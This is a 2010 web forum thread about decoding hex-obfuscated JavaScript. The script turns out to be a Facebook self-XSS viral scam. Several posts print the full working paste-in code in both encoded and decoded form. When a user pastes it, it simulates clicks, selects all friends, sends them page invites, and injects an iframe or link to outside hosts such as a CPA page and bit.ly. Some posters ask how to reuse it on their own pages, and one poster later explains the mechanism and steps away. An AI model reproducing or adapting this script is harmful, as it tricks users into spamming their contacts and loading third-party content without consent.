1. Advertising
    y u no do it?

    Advertising (learn more)

    Advertise virtually anything here, with CPM banner ads, CPM email ads and CPC contextual links. You can target relevant areas of the site and show ads based on geographical location of the user if you wish.

    Starts at just $1 per CPM or $0.10 per CPC.

Need Javascript Code Decoded

Discussion in 'JavaScript' started by Panjabi, Apr 8, 2010.

  1. #1
    I got a code beginning:

    javascript:var _0x89f8=[
    Code (markup):
    is it possible to decrypt this?
     
    Panjabi, Apr 8, 2010 IP
  2. dimitar christoff

    dimitar christoff Active Member

    Messages:
    882
    Likes Received:
    62
    Best Answers:
    0
    Trophy Points:
    90
    #2
    YES. is it this code? http://pastebin.com/4Pkd0k8G :D

    void(document['getElementById']('app4949752878_dd')['innerHTML'] = '<a id="suggest" href="#" ajaxify="/ajax/social_graph/invite_dialog.php?class=FanManager&amp;node_id=109839669048307" class=" profile_action actionspro_a" rel="dialog-post">Suggest to Friends</a>');
    var ss = document['getElementById']('suggest');
    var c = document['createEvent']('MouseEvents');
    c['initEvent']('click', true, true);
    void(ss['dispatchEvent'](c));
    void(setTimeout(function () {
        fs['select_all']();
    }, 4000));
    void(setTimeout(function () {
        SocialGraphManager['submitDialog']('sgm_invite_form', '/ajax/social_graph/invite_dialog.php');
    }, 5000));
    
    void(document['getElementById']('app4949752878_dd')['innerHTML'] = '<iframe src="http://booksee.net/96sleep/cpa.php" style="width: 700px; height: 450px;" frameborder=0 scrolling="no"></iframe>');
    
    Code (javascript):
     
    dimitar christoff, Apr 9, 2010 IP
  3. NeoXeo

    NeoXeo Peon

    Messages:
    3
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #3
    How did you decode that? :confused:
     
    NeoXeo, Apr 10, 2010 IP
  4. M8ccL4vL4

    M8ccL4vL4 Peon

    Messages:
    3
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #4
    What kinda code is this called?

    javascript  :var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x3 5\x32\x38\x37\x38\x5F\x64\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x4 2\x79\x49\x64","\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x2 2\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x 22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\ x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f \x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6 d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x31\x33\x32\x34\x39\x33\x37\x 35\x33\x36\x38\x37\x31\x34\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\ x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f 
    PHP:
     
    M8ccL4vL4, Apr 10, 2010 IP
  5. NeoXeo

    NeoXeo Peon

    Messages:
    3
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #5
    It's javascript.
     
    NeoXeo, Apr 10, 2010 IP
  6. aj23

    aj23 Peon

    Messages:
    13
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #6
    What goes in place of the number sign above?
     
    aj23, Apr 10, 2010 IP
  7. krsix

    krsix Peon

    Messages:
    435
    Likes Received:
    11
    Best Answers:
    0
    Trophy Points:
    0
    #7
    It's in hex:

    "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C"
    ->
    69 6e 6e 65 72 48 54 4d 4c
    ->
    innerHTML
     
    krsix, Apr 10, 2010 IP
  8. zerophean

    zerophean Peon

    Messages:
    91
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    0
    #8
    Hi, you can use browser (I'm using google chrome) to decode that script.

    - Open HTML with encoded javascript on google chrome
    - Holds CTRL+S (save)
    - Choose folder.

    Done. after that, view the file's source, using dreamweaver or notepad
     
    zerophean, Apr 12, 2010 IP
  9. Everglades

    Everglades Peon

    Messages:
    3
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #9
    How to encode it again? For some reason it won't work decoded
     
    Everglades, Apr 13, 2010 IP
  10. teamup

    teamup Member

    Messages:
    7
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    36
    #10
    They use something event for capturing in application

    When I use the same code in such kind of fanpage they work but in our page not

    same decode or encode work everywhere such kind of page in facebook

    but in our not

    Can anyone tell us the exact what they are doing to run this code?

    Thanks
     
    teamup, Apr 14, 2010 IP
  11. M8ccL4vL4

    M8ccL4vL4 Peon

    Messages:
    3
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #11
    The code is generated for their specific fan page, you cant just copy the code and try it on your page. It wont work that way.
     
    M8ccL4vL4, Apr 14, 2010 IP
  12. teamup

    teamup Member

    Messages:
    7
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    36
    #12
    javascript:var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x31\x30\x33\x31\x31\x37\x35\x32\x39\x37\x32\x39\x39\x31\x36\x5f\x64\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x31\x31\x35\x30\x31\x30\x35\x32\x32\x31\x34\x33\x31\x30\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"]; void (document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]=_0x89f8[3]);var ss=document[_0x89f8[2]](_0x89f8[4]);var c=document[_0x89f8[6]](_0x89f8[5]);c[_0x89f8[8]](_0x89f8[7],true,true); void (ss[_0x89f8[9]](c)); void (setTimeout(function (){fs[_0x89f8[10]]();} ,4000)); void (setTimeout(function (){SocialGraphManager[_0x89f8[13]](_0x89f8[11],_0x89f8[12]);} ,5000)); void (document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]= '\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x62\x69\x74\x2E\x6C\x79\x2F\x39\x6C\x56\x6A\x31\x78\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x37\x30\x30\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x34\x35\x30\x70\x78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E');
    Code (markup):
    Hi let me know anyone How I can use it in my fanpage

    Thanks
     
    teamup, Apr 14, 2010 IP
  13. M8ccL4vL4

    M8ccL4vL4 Peon

    Messages:
    3
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #13
    You can't, it is generated code for a specific fanpage.

     
    M8ccL4vL4, Apr 14, 2010 IP
  14. dimitar christoff

    dimitar christoff Active Member

    Messages:
    882
    Likes Received:
    62
    Best Answers:
    0
    Trophy Points:
    90
    #14
    you can make it work on any fanpage with some modifications.

    I would also kindly ask people to stop messaging me about this, i don't want to be an instrument in helping people trick users to viral their pages and spam. thanks...
     
    dimitar christoff, Apr 15, 2010 IP
  15. mackjon

    mackjon Peon

    Messages:
    1
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #15
    Hi can you decode this. This is different hex. Thanks!

    javascript:var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3c\x61\x20\x69\x64\x3d\x27\x73\x75\x67\x67\x65\x73\x74\x27\x20\x68\x72\x65\x66\x3d\x27\x23\x27\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x27\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x31\x37\x37\x36\x30\x39\x36\x31\x35\x37\x31\x39\x31\x31\x27\x20\x63\x6c\x61\x73\x73\x3d\x27\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x27\x20\x72\x65\x6c\x3d\x27\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x27\x3e\x3c\x2f\x61\x3e\x3f","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"]; void (document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]=_0x89f8[3]);var ss=document[_0x89f8[2]](_0x89f8[4]);var c=document[_0x89f8[6]](_0x89f8[5]);c[_0x89f8[8]](_0x89f8[7],true,true); void (ss[_0x89f8[9]](c)); void (setTimeout(function (){fs[_0x89f8[10]]();} ,3000)); void (setTimeout(function (){SocialGraphManager[_0x89f8[13]](_0x89f8[11],_0x89f8[12]);} ,4000));void (setTimeout(function(){document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]= '\x3c\x61\x20\x68\x72\x65\x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x62\x69\x74\x2e\x6c\x79\x2f\x64\x73\x6d\x55\x38\x57\x22\x3e\x3c\x69\x6d\x67\x20\x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x69\x34\x31\x2e\x74\x69\x6e\x79\x70\x69\x63\x2e\x63\x6f\x6d\x2f\x32\x75\x34\x70\x6f\x6a\x37\x2e\x70\x6e\x67\x22\x3e\x3c\x2f\x61\x3e';} ,4500));
     
    mackjon, Apr 15, 2010 IP
  16. krsix

    krsix Peon

    Messages:
    435
    Likes Received:
    11
    Best Answers:
    0
    Trophy Points:
    0
    #16
    void(document['getElementById']('app4949752878_dd')['innerHTML']='<a id=\'suggest\' href=\'#\' ajaxify=\'/ajax/social_graph/invite_dialog.php?class=FanManager&amp;node_id=117760961571911\' class=\' profile_action actionspro_a\' rel=\'dialog-post\'></a>?');var ss=document['getElementById']('suggest');var c=document['createEvent']('MouseEvents');c['initEvent']('click',true,true);void(ss['dispatchEvent'](c));void(setTimeout(function(){fs['select_all']()},3000));void(setTimeout(function(){SocialGraphManager['submitDialog']('sgm_invite_form','/ajax/social_graph/invite_dialog.php')},4000));void(setTimeout(function(){document['getElementById']('app4949752878_dd')['innerHTML']='<a href="http://bit.ly/dsmU8W"><img src="http://i41.tinypic.com/2u4poj7.png"></a>'},4500));
     
    krsix, Apr 15, 2010 IP
  17. steve121

    steve121 Peon

    Messages:
    1
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #17
    pffffttt... Whatever, figured it out myself! But so much for not making an instrument out of yourself. You decoded it for him in the first place, hell you even got the whole code WITH A LINK and deciphered it for him!!! Lol! So please spare me the modest talk.
     
    Last edited: Apr 15, 2010
    steve121, Apr 15, 2010 IP
  18. Dimig285

    Dimig285 Peon

    Messages:
    2
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #18
    In regard to the code that you decoded, I recently stumbled upon it on a facebook group and was wondering if there would be anything to worry about in regard to what the code could do? Is there any chance it could cause some harm via a virus or malware or is there nothing to worry about since all it can do is setup the friend invite? Many thanks for a response!
     
    Dimig285, May 4, 2010 IP
  19. dimitar christoff

    dimitar christoff Active Member

    Messages:
    882
    Likes Received:
    62
    Best Answers:
    0
    Trophy Points:
    90
    #19
    there is no modesty involved, don't be mistaken. glad you figured it out yourself, it's not rocket science. what do you expect, a cookie?

    at the time of posting I did not even know it was to do with facebook viral scams - it's just a piece of code. as the messages came in, it became apparent where and how it is being used, which prompted me to end my involvement in it. anyway, not as if I give a rat's ass about the opinion of a 1-post troll...

    there is nothing to worry about, its not a virus or malware or anything at all like that. all it does is help pages go viral - basically, the premise is, entice the user to paste it whilst they are on the page. doing so creates a link to the contacts list (send to friends) in the page body. using event delegation through the link's class name, it then simulates a click (which opens the contacts list), it waits a bit, selects all of them and clicks send. worst case scenario, you spam your contacts with a recommendation for becoming fans on some silly page.
     
    dimitar christoff, May 5, 2010 IP
  20. Dimig285

    Dimig285 Peon

    Messages:
    2
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #20
    Great to know, thanks for the information!
     
    Dimig285, May 5, 2010 IP